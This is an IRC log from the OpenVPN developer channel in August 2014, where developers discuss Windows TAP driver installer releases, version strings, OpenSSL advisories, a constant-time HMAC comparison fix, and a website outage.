[Quit: Leaving.] 06:47 <@mattock> it looks like I have to make a windows installer release today or tomorrow... I would prefer to mark the NDIS 6 installer versions as non-experimental now 06:47 <@mattock> otherwise we never get "normal" people to use them 06:48 <@mattock> according to anecdotal evidence there are less issues with NDIS 6 than with NDIS 5 on newer windows versions 06:50 <@mattock> so what I'm thinking is adding the NDIS 6 version to the download table as "Installer (32-bit) for WIndows Vista and later" and the NDIS 5 version as "Installer (32-bit) for Windows XP" 06:51 <@mattock> comments? 06:52 <@cron2> there was a mail a few weeks ago where a user claims that he can get the ndis 6 tap driver to arbitrary lock up under load 06:52 <@cron2> so I wouldn't do that until that issue has been checked and resolved 06:53 <@cron2> and better mark the installer as "win 8.1" :-) - those are the ones that supposedly have issues with the ndis5 tap, even though all my colleagues using win8/.1 have no issues whatsoever with it 07:33 <@mattock> cron2: which issue is that? 07:34 <@mattock> syzzer: https://github.com/mattock/sbuild_wrapper 07:34 <@vpnHelper> Title: mattock/sbuild_wrapper · GitHub (at github.com) 07:35 <@mattock> cleaning up the scripts took a bit longer than expected 07:35 <@mattock> they are still a bit too openvpn-specific for my taste, because there's nothing inherently openvpn-specific in the build process itself (or sbuild) 07:35 <@mattock> read: room for improvement in the future 07:48 <@syzzer> mattock: thanks! I'll probably toy around a bit with them this evening 07:59 <@mattock> syzzer: if you do any cleanups or enhancement send a pull request 08:00 <@mattock> for example the per-project specifics (version info, packaging files etc) should really be cleanly separated 08:00 <@syzzer> yeah, about those versions, shouldn't we bump the version in master? it now builds as 2.3_git. Seems odd. 08:01 <@mattock> probably 08:01 <@mattock> cron2? 08:01 <@mattock> 2.4_git would make more sense, wouldn't it? 08:02 <@syzzer> yeah, I think so 08:18 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 08:27 <@cron2> syzzer: what, where? that's "master" branch in git? 08:28 <@cron2> mattock: searching for the mail 08:31 <@cron2> mattock: ah, found it. tap-windows6/issues/3, forwarindg you the mail 08:33 <@cron2> syzzer: ok, found it, it's version.m4 in master - no idea what should be in there, though, dazo used to decide this :) 08:38 * plaisthos changed that to 2.4-master 08:41 * syzzer changed it to 2.4_master :p 08:42 <@syzzer> but I like the dash better, actually. 08:42 <@syzzer> [/bikeshedding] 08:45 <@plaisthos> hm 08:45 <@plaisthos> I couldn't decide 08:45 <@plaisthos> #define PACKAGE_STRING "OpenVPN 2.4-icsopenvpn" 08:46 <@plaisthos> #define PACKAGE_VERSION "2.4_master" 08:46 <@syzzer> at least we agree on "master" ;) 08:46 <@plaisthos> not even that :P 08:54 <@plaisthos> you get something like 08:54 <@plaisthos> 2014-08-03 23:32:41 OpenVPN 2.4-icsopenvpn [git:icsopenvpn_615-c430ab0e0cef9994] android-14-armeabi-v7a [SSL (OpenSSL)] [LZO] [SNAPPY] [LZ4] [EPOLL] [MH] [IPv6] built on Jun 24 2014 08:55 <@plaisthos> I think get 2.4_master string is reported to the server in IV_VER 08:57 <@plaisthos> peer info: IV_VER=2.4_master 08:57 <@plaisthos> yes 09:00 <@dazo> syzzer: dash in the version string causes issues when packaging stuff, at least in Linux 09:00 <@dazo> cron2: ^^ 09:00 * dazo heads for a virtual meeting any minute 09:13 <@cron2> dazo: so 2.4_master then? 09:15 <@syzzer> dazo: but with debian packaging the _ is magic... ;) 09:16 <@syzzer> but that's easy enough to override, so I don't actually care. I do have a preference for using "master" instead of "git", and bump the verion to 2.4 09:21 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:21 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:21 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 09:30 <@dazo> syzzer: eeww ... I thought deb and rpm had the same restrictions there :/ 09:30 <@dazo> cron2: I recommend that 2.4_master, yes ... I once did 2.3-master, I believe, but got a patch fairly quickly due to issues by someone 09:31 <@dazo> (it might have been 2.2-master too) 09:32 <@dazo> commit e87f4b611d4f75fda908838160a39a0aea992fdc 09:34 <@mattock> dazo: rpm and deb have different restrictions regarding underscores and dashes 09:34 <@syzzer> hmm, just a statement, no explanation... 09:34 <@dazo> yeah :/ 09:34 <@mattock> unfortunately 09:34 <@syzzer> well, it works now for .deb too, so probably best to keep the underscore :) 09:35 <@dazo> syzzer: but on the other hand ... it's seldom bulls**t from Alon, even though his way of communication is "different" ... his patches usually are pedantically correct 09:39 <@plaisthos> Do we need the [IPv6] in newer version? 09:39 <@syzzer> dazo: yeah, I know. But I'm stubborn too and have the tendency to ignore statements without explanation :p 09:39 <@plaisthos> it is not like there is an option not to have [IPv6] 09:39 <@dazo> plaisthos: it's not configurable, is it? 09:40 <@dazo> right 09:40 <@dazo> then I say we don't need it any more 09:40 <@dazo> (it made sense when cron2's patches was outside) 09:40 <@syzzer> plaisthos: no, don't that's useful anymore 12:30 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 13:22 <@cron2> yeah, patches welcome to remove output from the "sysinfo" stuff that is not optional anymore (OTOH, it *is* useful to see with one glance "oh, that was the version that had both IPv6 patch sets merged" - 2.2 had "[IPv6 transport]" and "[PF_INET6]" AFAIR, 2.3 has just "[IPv6]", and for 2.4, we can kick it out 13:41 <@dazo> +1 14:57 <@syzzer> mattock: u there? 14:57 <@syzzer> toying with your scripts, trying to run them without root priviliges, have you tried that? 15:21 <@syzzer> seem threading is a hot topic ;) 15:22 <@cron2> indeed 15:42 -!- dazo is now known as dazo_afk 16:29 <@mattock> syzzer: most of the scripts should run fine without root 16:29 <@mattock> the scripts which require modifications to the schroots probably won't work 16:30 <@syzzer> yeah, I saw its just the setup of chroots and the update script 16:30 <@syzzer> sbuild does not seem to support the needed options to build the chroots as non-root 16:30 <@mattock> still no openssl release 16:30 <@syzzer> hmm, indeed 16:30 <@mattock> well, better for me 16:30 <@mattock> I'll create the windows installer tomorrow morning then 16:35 <@syzzer> hehe, good night :) 16:41 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 18:59 -!- snappy [nipnop@unaffiliated/snappy] has joined #openvpn-devel 19:00 < snappy> I'm trying to improve my understanding of the openvpn protocol. When a client establishes a connection with a server and begins tunneling packets, does it make sense to view two distinct protocols being run concurrently - TLS and IP tunneling? 19:03 <@pekster> Effectively, yes. Both the data traffic (which is encrypted using an ephemeral symmetric key) and the TLS traffic is multiplexed over the same UDP (or TCP) port 19:06 < snappy> so by virtue the tunneling supports PFS if the feature is both TLS peers support it? 19:07 <@pekster> Right, the forward-secrecy is provided by the TLS negotiation of ephemeral session ciphers, generally with DHE (although there's work to make ECDHE a possibility soon-ish) 19:07 <@pekster> There are hardening recommendations to explicitly restrict possible TLS ciphers on the wiki at: 19:07 <@pekster> !hardening 19:07 < snappy> roger, ok, well that cleared a lot of misconceptions i had about the protocol 19:08 <@pekster> Or there is in #openvpn where the bot is awake ;) 19:08 < snappy> originally i viewed the protocol as an initial TLS handshake and simple handoff to the tunneling protocol 19:09 <@pekster> They're separate streams, just both "sent over" the same UDP(TCP) socket. The advantage is that the data-critical session key can be gracefully "rolled-over" during key exchanges/expiry without halting the flow of data traffic 19:10 <@pekster> By default, session keys are re-generated every hour (which actually involves a full TLS re-negotiation, including cert checks, auth script checks, etc) and new keys are generated. If that fails for whatever reason, it'll try again, all while using the expiring (but still valid) data encryption keys 19:15 < snappy> has there been any brainstorming using other protocols in place of TLS like SSH? I'm just curious here; not advocating one way or another 19:22 <@pekster> ssh relies on other protocols to do the security. OpenVPN can already use X.509 (so can ssh, sort of. It's not a standard CA/PKI model, so it's worthless to openvpn.) 19:22 <@pekster> You can also do static-key crypto (see: !statickey in #openvpn .) There's no benefit to anything else ssh does in terms of security that's relevant 19:23 <@pekster> So no. The only new thing on the radar today is elliptic-curve support. Long-term it's perhaps a pipe-dream to have "many to many" style connectivity, but that requires major wire-protocol changes and a new design to associate incoming packets with an existing data or TLS stream 19:23 <@pekster> Think "version 2.5." Maybe. 19:32 < snappy> when you say many-to-many, are we talking similar to the n2n architecture 19:35 <@pekster> Right. There's no way to get that today with openvpn. A so-called star-topology (where each client can directly send packets to the public transport IP/port of another peer) cannot happen without setting up individual tunnels between each of them 19:36 <@pekster> It's nothing more than a fancy wishlist item today 21:24 < snappy> btw - how does TLS/SSL operate over UDP; i note that the security overview says there is a reliability layer 21:25 < snappy> is it a TCP socket tunneled over UDP? 23:28 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 23:35 -!- Netsplit *.net <-> *.split quits: D4rk, @cron2, ender --- Day changed Thu Aug 07 2014 00:46 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 00:46 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 00:58 <@cron2_> ok, seems the new openssl release is out... https://www.openssl.org/news/secadv_20140806.txt 01:01 * cron2_ leaves evaluation to syzzer - there are two in there that look like "we want new clients" and "you want to upgrade your server's openssl version", but nothing dramatically critical 02:20 <@syzzer> on first glance just the first bug in the list seems relevant 02:21 <@syzzer> others are all SRP/multithreading/session resumption/DTLS, which we don't do/ 02:25 <@syzzer> or tls downgrade to TLS 1.0, but we actually default to TLS 1.0 ;) 02:44 <@syzzer> even the first one triggers direct vulnerability in openpvn. Stack information is not leaked to the peer. It might be possible that the leaked information is passed on to a client script / plugin (not sure what form the leaked information has, if it's the leaked information is after a NUL-byte, it's probably not exported). Such a plugin/script could then leak the information to the attacker. 02:45 <@syzzer> *no* direct vulnerability 02:45 <@syzzer> so, not that exciting at all - /me goes back to the day job. 02:55 <@mattock> cron2: https://github.com/OpenVPN/tap-windows6/issues/3 does not affect OpenVPN 02:55 <@vpnHelper> Title: tap-windows6 9.21.0 hangs forever when writing · Issue #3 · OpenVPN/tap-windows6 · GitHub (at github.com) 02:55 <@mattock> the guy who reported it was using tap-windows6 in another application 02:56 <@mattock> so even though it looks like the bug report is valid as far as tap-windows6 is concerned, it should not affect openvpn in practice 03:09 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 03:21 -!- dazo_afk is now known as dazo 03:24 <@plaisthos> DTLS seems to broken beyond repair in OpenSSL, based on how many CVE it is collecting 03:43 <@mattock> yeah 05:16 <@mattock> new windows installers in the oven 05:16 <@mattock> -> lunch 05:31 <@cron2_> mattock: you're sure that this issue cannot be triggered by OpenVPN? 06:00 <@mattock> well, the bug reporter himself says that 06:26 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 06:46 <@mattock> cron2: one more thing 06:46 <@mattock> NDIS 6 has been in use (as default) in OpenVPN Connect and Private Tunnel clients for a while (2 months?) and have not heard of any issues 06:56 <@mattock> smoketests passed 07:08 <@cron2_> mattock: ah, I did not know that. In that case, I withdraw my objections :-) 07:09 <@mattock> yeah 07:32 <@mattock> http://openvpn.net/index.php/download/community-downloads.html 07:32 <@vpnHelper> Title: Community Downloads (at openvpn.net) 07:35 <@mattock> uh, I forgot about 2.3.2 -based installers 07:35 <@mattock> will need to generate those too 07:35 <@mattock> ...so many installers 07:45 <@syzzer> do we still need the 2.3.2-based installers? 07:45 <@syzzer> 2.3.4 is quite stable too 07:46 <@syzzer> mattock: typo: Installer (64-bit), Windows Vistan and later 08:29 <@mattock> syzzer: possibly not 08:31 <@mattock> I built 2.3.2 based installers anyways, but we might want to consider ditching them when we do the next release 08:32 <@mattock> the release is out and announcements were sent 08:59 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 09:11 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds] 10:04 -!- angs [~ubuntu@85.235.3.114] has joined #openvpn-devel 10:46 <@cron2_> the amount of good advice people are giving regarding threads and how to implement stuff properly is amazing 10:47 <@dazo> "Installer (64-bit), Windows Vistan and later" ..... mattock, VistaN? 10:47 <@dazo> ;-) 10:54 * dazo refrains from answering now 10:54 <@dazo> (the thread discussion) 11:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:34 <@mattock> dazo: fixed 12:09 <@mattock> syzzer: have you had time to look at the latest openssl vulnerabilities? 12:09 <@mattock> we should probably make an official announcement about them on Trac 12:27 -!- angs [~ubuntu@85.235.3.114] has quit [Quit: Leaving] 12:36 <@cron2_> mattock: he did, it's here in the channel :) 12:37 <@mattock> oh 12:56 <@mattock> syzzer: can you review https://community.openvpn.net/openvpn/wiki/VulnerabilitiesFixedInOpenSSL1.0.1i when you have some time? 12:56 <@vpnHelper> Title: VulnerabilitiesFixedInOpenSSL1.0.1i – OpenVPN Community (at community.openvpn.net) 13:55 <@syzzer> mattock: I added an extra note 13:55 <@syzzer> otherwise look sgood 13:55 <@mattock> ok, thanks! 13:56 <@syzzer> perhaps add a very explicit note that only windows-users need to upgrade their openvpn? That seems hard to grasp for some... 14:03 <@syzzer> mattock: can I somehow see whether I have the old or new tap driver installed? 14:05 <@mattock> yep, go to the device manager thing 14:05 <@mattock> and check driver details -> version 14:05 <@mattock> syzzer: to the announcement? 14:06 <@syzzer> yeah, I've seen many people ask in #openvpn why they didn't get updates for their non-windows os'es 14:07 <@syzzer> it says 9.0.0.21 at the version, what does that tell me? :p 14:10 <@syzzer> ah, version.m4 says tap6 :) 14:38 <@syzzer> mattock: still around? The 2.3.4-I603 has trouble bringing up the connection for me, while 2.3.4-I003 works fine. 14:38 <@mattock> syzzer: I'm here 14:38 <@syzzer> It does the connection setup nicely, sets up routes etc, seems to go well 14:39 <@mattock> 9.0.0.21 is the ndis6 version 14:39 <@mattock> odd 14:39 <@syzzer> then after a short while "Error: Inactivity timeout (--ping-restart)" and "Closing TUN/TAP interface", after which the openvpn process hangs to badly it can only be killed by restarting windows. 14:40 <@syzzer> does not sound familiar? 14:40 <@syzzer> this is a win7-64 machine 15:39 -!- dazo is now known as dazo_afk 15:41 <@mattock> syzzer: sorry for the delay 15:41 <@mattock> haven't encountered that one myself 15:42 <@mattock> maybe there is something funky in your config that tap-windows6 does not like? 15:42 <@mattock> for example, the very first release version did not work with topology net30 or what was it 15:43 <@mattock> anyways, given the prominence of the NDIS 6 installers on the download page we should hear about any widespread issues very soon 15:48 <@syzzer> yeah, lets see. I do connect using a smart card and against a polarssl server, but I can't imagine how that can be of importance. Otherwise it's pretty simple setup. 15:49 <@syzzer> oh, and it uses tap, not tun. 15:49 <@syzzer> (yeah, I know...) 15:52 <@mattock> can you try the same openvpn/tap-windows6 version with some other config? 16:03 <@syzzer> not now. it's my work laptop and it needs to work ;) 16:04 <@cron2_> don't run all this untrustworthy open source stuff on it! 16:06 <@syzzer> hehe, I happen to know the developers a bit ;) 16:07 <@syzzer> have to use this community stuff until OpenVPN-NL supports cryptoapi 16:10 <@cron2_> haha :) "totally secure, but fully unusuable", or so ;-) 16:11 <@syzzer> the less features the more secure! 16:18 <@mattock> like the Windows APIs? 16:24 <@syzzer> yup - my smartcard doesn't come with a pkcs11 driver - still need to figure out if that's available too 16:51 -!- mattock is now known as mattock_afk --- Day changed Fri Aug 08 2014 00:21 -!- mattock_afk is now known as mattock 01:11 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:43 <@mattock> syzzer: regarding the sbuild_wrapper scripts 02:44 <@mattock> you should be able to run those as non-root if you manage to convince schroot to save it's stuff outside /etc 02:44 <@mattock> if I recall correctly, schroot puts stuff under /etc/schroot 02:44 <@mattock> not sure if that's configurable, or if some hacks (e.g. links) are needed 03:24 <@syzzer> ok, thanks for the hint :) 03:25 <@syzzer> I was trying to do automated builds and packaging of openvpn-polarssl for master, and prefer not to give the buildbot root access ;) 03:50 <@mattock> yep, that's probably wise 03:53 < snappy> ah syzzer, you're around; when i have my bearings -- wanted to ask you what was wrong w/ the --float patch/packet format; i reclal you saying you reviewed it and something wasn't right 03:53 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 04:32 <@syzzer> That was regarding the session id-patch from lev stipakov, which also enables floating behaviour 04:33 <@syzzer> in that patch some HMAC verification is added, but using memcmp(), which is not constant time. 04:33 <@syzzer> so that introduces a timing side channel 04:36 <@syzzer> snappy: see https://github.com/OpenVPN/openvpn/commit/11d2134 04:36 <@vpnHelper> Title: Use constant time memcmp when comparing HMACs in openvpn_decrypt. · 11d2134 · OpenVPN/openvpn · GitHub (at github.com) 06:43 -!- dazo_afk is now known as dazo 08:36 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 08:36 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 11:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:36 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds] 13:57 -!- mattock is now known as mattock_afk 14:06 <+debbie10t> Sorry to bother you all (maybe nobody is online) : https://forums.openvpn.net/topic16556.html 14:06 <@vpnHelper> Title: OpenVPN Support Forum Change details on Community Portal problems : Forum & Website Support (at forums.openvpn.net) 14:12 <@dazo> ecrist_: mattock_afk ^^^ 14:41 -!- shio [marmot@66.65.73.86.rev.sfr.net] has joined #openvpn-devel 14:42 < shio> hi! have a partial (not done on verbose 5) but since it involves restarting the computer, i'd rather check first 14:42 < shio> partial bug report* 14:44 < shio> openvpn.exe hangs (can't even taskkill) upon using the "reconnect" button half the time with the latest ndis build on win7 x64 14:44 < shio> (upgraded from I002 to I603) 14:58 <@dazo> shio: take this in #openvpn please 14:59 -!- dazo is now known as dazo_afk 15:00 < shio> all right 15:00 -!- shio [marmot@66.65.73.86.rev.sfr.net] has left #openvpn-devel [] 17:48 < snappy> syzzer: ah, thanks; that expalisn it 17:49 < snappy> i missed the memcmp; although im still proving that this is a sidechannel because we're using HMAC; but better safe than sorry 19:25 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] --- Day changed Sat Aug 09 2014 00:58 -!- mattock_afk is now known as mattock 01:15 <@mattock> debbie10t: responded to the forum post 03:04 -!- mattock is now known as mattock_afk 04:08 <@syzzer> snappy: see https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-f375aa67cc, and http://rdist.root.org/2010/08/05/optimized-memcmp-leaks-useful-timing-differences/ for details on how and why this is a problem 04:08 <@vpnHelper> Title: Optimized memcmp leaks useful timing differences | root labs rdist (at rdist.root.org) 04:29 < snappy> thanks syzzer 04:30 < snappy> ugh, yes, of course syzzer -- just had to read the first sentence on the second link :) 04:30 < snappy> If an HMAC comparison exits early when a mismatch is found, it reveals information to an attacker about the correct HMAC for the forged message. 04:31 <@syzzer> "ahaaa" ;) 04:56 < snappy> As just one example, MACs were used to verify code updates in the Xbox 360, and the implementation of MAC verification used there had a difference of 2.2 milliseconds between rejection times. Attackers were able to exploit this and load pirated games onto the hardware. 04:57 < snappy> fair enough 07:45 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 07:45 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 10:41 <@cron2_> mattock: have I seen two "OpenVPN completely hangs with I603" reports now? shio and syzzer? 10:52 <@syzzer> yup. I can confirm it's not due to the gui, it does it in command line mode too. 10:55 <@cron2_> can you test the "XP" installer? Should be same openvpn binary, same libraries, different tap driver 10:55 <@syzzer> already did - that one works like a charm 10:55 <@cron2_> ah 10:56 <@cron2_> should be the same openvpn binary and openssl dll, so the difference is the new tap driver 10:57 <@syzzer> yeah, so there must be a blocking wait for the driver somewhere, and the driver never returns control. 10:58 <@syzzer> google also revealed that creating processes that can't be terminated requires driver-like operations under windows - more evidence pointing to the driver 10:59 <@syzzer> but since I just needed it to read my email, I settled for using the NDIS5 version and did not investigate further 11:00 <@cron2_> understood :) but now we know "we" can reproduce this at will, and the driver author can investigate 11:01 <@syzzer> yup 12:15 <@pekster> fun, Linux ifconfig sucks enough to fail on a PtP config like 10.8.0.2 -> 255.255.255.0. Yes, that's almost certainly a mistake on the user's part, but iproute2 is happy to do that (as odd as "class D" IP space is, the kernel allows it.) 12:15 <@pekster> Perhaps we should switch the buildsystem to use iproute2 if it finds it available. Today's default is to use the 2.4-era kernel ifconfig instead, even if iproute2 is present 12:16 <@pekster> (Linux only of course. BSDs kept up their ifconfig, but it's all but dead on modern Linux.) 12:17 <@pekster> Erm, Class E. Not that anyone uses terms like that :P 12:19 <@pekster> I might take a stab at that, but my makefile-foo is somewhat lacking 12:36 <@cron2_> I'm not sure which behaviour I like better - failure on broken configs, or "just go along"... 12:39 <@pekster> In theory 255.255.255.0 is a valid IP. Not a "globally routable" one, but neither is RFC1918 12:40 <@pekster> It already warns in the config on that. If you don't like the behavior of class-E space, then why not make it a fatal error rather than a warning? The "works on iproute2 builds but not without" is just goofy behavior 12:40 <@pekster> p2p already lets you assign arbitrary IP mappings, so getting into the "what IPs are valid" is nasty space. Do we disallow users from RFC5737 too? It's a slippery road 12:41 <@pekster> It's not so much the config is broken, but the user's understanding of "acceptable" networking ;) 12:42 <@pekster> Well, and decade-old Linux. 2.4 kernels are dead: long live 2.4! 12:42 <@cron2_> no, it's not a valid IP, as class e space has never been declared usable for unicast routing 12:43 <@pekster> It's not openvpn's job to police that though 12:43 <@pekster> Otherwise we should keep a database of invalid networks in line with ARIN's allocations 12:43 <@cron2_> so at best, behavious is undefined, and that's what we're getting - and I'm not going to invest much time in that, there's much worse issues where OpenVPN sucks 12:43 <@pekster> Well, ifconfig itself sucks, but yes 12:43 <@cron2_> pekster: "not allocated according to ARIN" and "not valid as unicast space" is a subtle difference 12:43 <@pekster> RFC5737 is allocated. And not allowed by unicast 12:44 <@pekster> Surly adding all the things not valid as unicast isn't the intended goal. But yes, users probably should just fix their brain-dead configs either way 12:44 <@cron2_> of course it is valid unicast space 12:44 <@cron2_> it's not permitted to be used, but that is a non-technical declaration 12:45 <@cron2_> class E space is *technically* non-valid unicast space (as is class D space) 12:45 <@cron2_> so class E indeed works if used as unicast on some systems, and fails in interesting ways on other systems, and that's to be expected 12:46 <@pekster> True. It's just another way the old crap is worthless (on Linux, specifically.) It'd be a bit like not enabling v6 by deafult today 12:46 <@pekster> But yes, not really worth a lot of time, I agree there 12:46 <@cron2_> need to run... moving a core router around tonight... bbl 12:47 <@pekster> Notabely, "Class E" space is "technically valid" per the Linux kernel 12:47 <@pekster> Yup, see ya 14:27 -!- pschmitt [~pschmitt@46.19.137.78] has joined #openvpn-devel 17:42 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 19:59 -!- pschmitt [~pschmitt@46.19.137.78] has quit [Remote host closed the connection] --- Day changed Sun Aug 10 2014 04:38 <@vpnHelper> RSS Update - tickets: #432: OpenVPN.exe hangs upon reconnecting <https://community.openvpn.net/openvpn/ticket/432> 13:20 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 13:20 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 18:04 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has quit [Ping timeout: 244 seconds] --- Day changed Mon Aug 11 2014 02:04 -!- ||arifaX_ [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn-devel 02:07 -!- ||arifaX_ [~quassel@unaffiliated/arifax/x-427475] has quit [Client Quit] 02:38 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:29 <@syzzer> mattock_afk: what do you use for building windows installers nowadays? the scripts from openvpn-build? 04:49 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 05:29 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 06:15 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 06:23 -!- m10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 06:23 -!- mode/#openvpn-devel [+v m10t] by ChanServ 06:24 -!- mode/#openvpn-devel [-v m10t] by ChanServ 06:24 < m10t> test 06:52 -!- mode/#openvpn-devel [-o plaisthos] by plaisthos 07:32 -!- dazo_afk is now known as dazo 08:00 -!- m10t is now known as debbie10t 10:13 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 11:30 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 14:25 -!- dazo is now known as dazo_afk 15:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:40 -!- snappy [nipnop@unaffiliated/snappy] has quit [Read error: Connection reset by peer] 20:08 -!- You're now known as ecrist 20:11 <@pekster> I cannot figure out the point of ifconfig_ipv6_pool_netbits. The manpage defines it as the "size of the pool" bit it's not. In fact if _overrides_ the server's definition of the CIDR mask and pushes this to clients instead (which breaks when the mask is smaller and does not include the IP of the server itself -- then you cannot even ping the server, and routes bound for that IP fail) 20:12 <@pekster> ifconfig_pool_acquire() ends up calling add_in6_addr() which just takes whatever the IPv4 pool offset was and counts forward that same offset from the start of the v6-pool, so why do we need the netbits at all on the pool? 20:15 <@pekster> Magic begins in multi_connection_established() in multi.c:1596, then to multi_select_virtual_addr() --- Day changed Tue Aug 12 2014 01:45 -!- mattock_afk is now known as mattock 02:32 <@cron2_> pekster: I'm not sure if I remember. Must have been something with too much alcoholic beverages 02:33 <@cron2_> pekster: can you mail this? I won't have much time for #penvpn-devel today or tomorrow, and this might get lost 02:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:54 -!- mattock is now known as mattock_afk 03:12 -!- dazo_afk is now known as dazo 05:04 <@pekster> cron2_: Yea, sure. It probablay needs a mail anyway. I need to dig into how it works with tap though, becuase it might (maybe, in someone's really screwed up network) be useful for that 05:20 -!- mattock_afk is now known as mattock 05:35 -!- mattock is now known as mattock_afk 05:37 <@cron2_> well, I wrote the code, so I must have spent some thoughts on it... it's just that today is too busy to spend some quiet cycles thinking about it :) 05:38 <@pekster> Yea. Later this evening I'll see how tap works with this mess, and offer some solutions. Aside from the technical bits, there's some choice as to how we want to handle it, and what we think the common use-case is 05:38 <@pekster> ie: let's make the pool do the right thing for "most people" and if someone really needs to do things like push a /80 when the server is configured with a /64, make them use ifconfig-ipv6-push or --client-connect or something. More details in my mail later 05:39 <@pekster> In _theory_ that split-subnet thing could be useful for taps where some (possibly silly) network has two separate nets on a single broadcast domain. I'm sure someone has that :( 05:41 -!- mattock_afk is now known as mattock 06:40 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 06:59 -!- debbie10t [~Dik@openvpn/community/support/debbie10t] has joined #openvpn-devel 06:59 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 07:00 <+debbie10t> hi - I presume somebody knows the website has gone down - http://openvpn.net/index.php/open-source.html 07:00 <+debbie10t> error : Database connection error (2): Could not connect to MySQL. 07:13 <@ecrist> ping matton 07:13 <@ecrist> mattock: png 07:13 <@ecrist> ping 07:13 <@ecrist> fuck I can't type today 07:13 <@mattock> hi 07:13 <@ecrist> DB server down? 07:13 <@mattock> website gone, hmm 07:13 <@ecrist> Database connection error (2): Could not connect to MySQL. 07:14 <@mattock> I'll see if I could bring it up 07:14 <@mattock> if not, it will take me about 30 mins to get back to it 07:14 <@mattock> traveling 07:14 <@ecrist> ok 07:16 <@mattock> for some reason monit was shut down on that node 07:17 <@mattock> started it, and it will start (and keep starting) mysql 07:17 <@mattock> if mysql continues to crash 07:17 <@mattock> if the problem persists I suspect a DOS/DDOS 07:17 <@mattock> got to split 07:27 -!- mattock is now known as mattock_afk 07:38 <+debbie10t> It appears the server is up and running now ;) 08:04 -!- mattock_afk is now known as mattock 08:08 <@mattock> debbie10t: yeah, and mysql should stay up 08:08 <@mattock> unfortunately these things typically happens when there's an active attack going on 08:18 -!- Hes [iE0@tunkki.fi] has joined #openvpn-devel 08:23 <+debbie10t> it has gone down again .. bad gateway 08:25 <+debbie10t> I wonder if it is the spammers getting their knickers in a twist after I ban them while they are still online ;) 08:26 <+debbie10t> which i did this morning 08:28 <+debbie10t> Error 520 Ray ID: 158d0364ea780cb9 08:28 <+debbie10t> Web server is returning an unknown error 08:29 <@mattock> yeah, something funky is going on 08:30 <+debbie10t> spammers are all upset ;) 08:31 <+debbie10t> Error 523 Ray ID: 158d083209290cb9 08:31 <+debbie10t> Origin is unreachable 08:32 <+debbie10t> that is all cloudflare.com btw 08:33 <@mattock> I'll see what is happening on the srever 08:33 <@mattock> server 08:42 <@mattock> can't get access to it via SSH... quite likely to be an attack 08:42 <@mattock> other servers seem fine 08:44 <+debbie10t> Database connection error (2): Could not connect to MySQL. 08:45 <+debbie10t> after you started that last time it came back 08:45 <+debbie10t> this is the first time I have actually been victim to a live DDOS 08:46 <+debbie10t> had a password stolen by an employee once or twice 08:52 <@mattock> we get these all the time 08:52 <@mattock> I notified the guys who are responsible for this kind of stuff 08:52 <@mattock> I'm not a specialist with this 08:53 <@mattock> the only thing I can do is reboot the node to see if I could login 08:53 <@mattock> I'll probably block access to the webserver as it's atm entirely useless anyways and investigate a bit 08:53 <+debbie10t> yep .. I have seen it happen here once before but it did not last so long .. they really are pssd off 08:59 <@mattock> which guys are those? 09:00 <+debbie10t> who ever is launching the attach .. 09:02 <@mattock> so they did not give their contact details before claiming they'd DDOS us? :P 09:04 <+debbie10t> ah .. i see what you mean .. no i was just assuming it was pssd off spammers but of course .. i have absolutely no idea .. there have not been any claims made on the forum .. 09:04 <+debbie10t> but you never know 09:04 <@mattock> yeah 